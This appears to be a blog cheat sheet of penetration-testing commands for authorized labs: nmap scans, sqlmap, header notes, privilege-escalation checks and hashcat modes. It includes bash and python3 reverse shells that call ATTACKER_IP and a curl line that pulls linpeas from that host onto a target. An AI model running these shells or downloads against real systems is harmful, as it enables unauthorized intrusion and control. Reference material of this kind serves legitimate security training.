cheatsheet
referencequick commands, updated as needed
For authorized testing only โ your own lab, or a program with written scope. Nothing here replaces reading the docs for the tool you're actually using.
Recon โ nmap
# fast initial sweep
nmap -sV -sC -T4 -oA scan target
# full TCP port range
nmap -p- -T4 --min-rate=1000 -oA full target
# UDP top ports (slow, needs sudo)
sudo nmap -sU --top-ports 100 target
Web testing
# grab headers only
curl -sI https://target
# directory/file brute force
gobuster dir -u https://target -w wordlist.txt -x php,txt,html
# sqlmap against a GET param, through Burp
sqlmap -u "https://target/item?id=1" --batch --level=2 --risk=2 \
--proxy=http://127.0.0.1:8080
| Header | Why it matters |
Content-Security-Policy | Restricts script/style/resource origins; missing or loose CSP widens XSS impact. |
X-Frame-Options / frame-ancestors | Blocks clickjacking via iframe embedding. |
Strict-Transport-Security | Forces HTTPS on repeat visits; absence allows downgrade attacks. |
X-Content-Type-Options | nosniff stops MIME-sniffing based content-type attacks. |
Reverse shells
# bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
# netcat listener
nc -lvnp 4444
# stabilize a shell once caught
python3 -c 'import pty; pty.spawn("/bin/bash")'
# then: Ctrl+Z, stty raw -echo; fg, export TERM=xterm
Linux privesc quick checks
sudo -l # what can this user run as root?
find / -perm -4000 -type f 2>/dev/null # SUID binaries
getcap -r / 2>/dev/null # binaries with capabilities set
cat /etc/crontab; ls -la /etc/cron.* # scheduled jobs worth reading
uname -a; cat /etc/os-release # kernel/version, for known exploits
For a thorough automated pass, linpeas.sh or linux-smart-enumeration cover far more ground than manual checks โ see building a home lab for a safe place to run them first.
Hash identification & cracking
| Format | hashcat mode | Example |
| MD5 | 0 | 5f4dcc3b5aa765d61d8327deb882cf99 |
| SHA1 | 100 | aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d |
| SHA256 | 1400 | 5e884898da28... |
| NTLM | 1000 | b4b9b02e6f09a9bd760f388b67351e2b |
| bcrypt | 3200 | $2a$10$... |
hashcat -m <mode> -a 0 hashes.txt rockyou.txt
Useful one-liners
# base64 encode/decode
echo -n "text" | base64
echo "dGV4dA==" | base64 -d
# quick HTTP file server to move tools onto a target
python3 -m http.server 8000
# pull a file from the target's shell
curl -O http://ATTACKER_IP:8000/linpeas.sh
← back to posts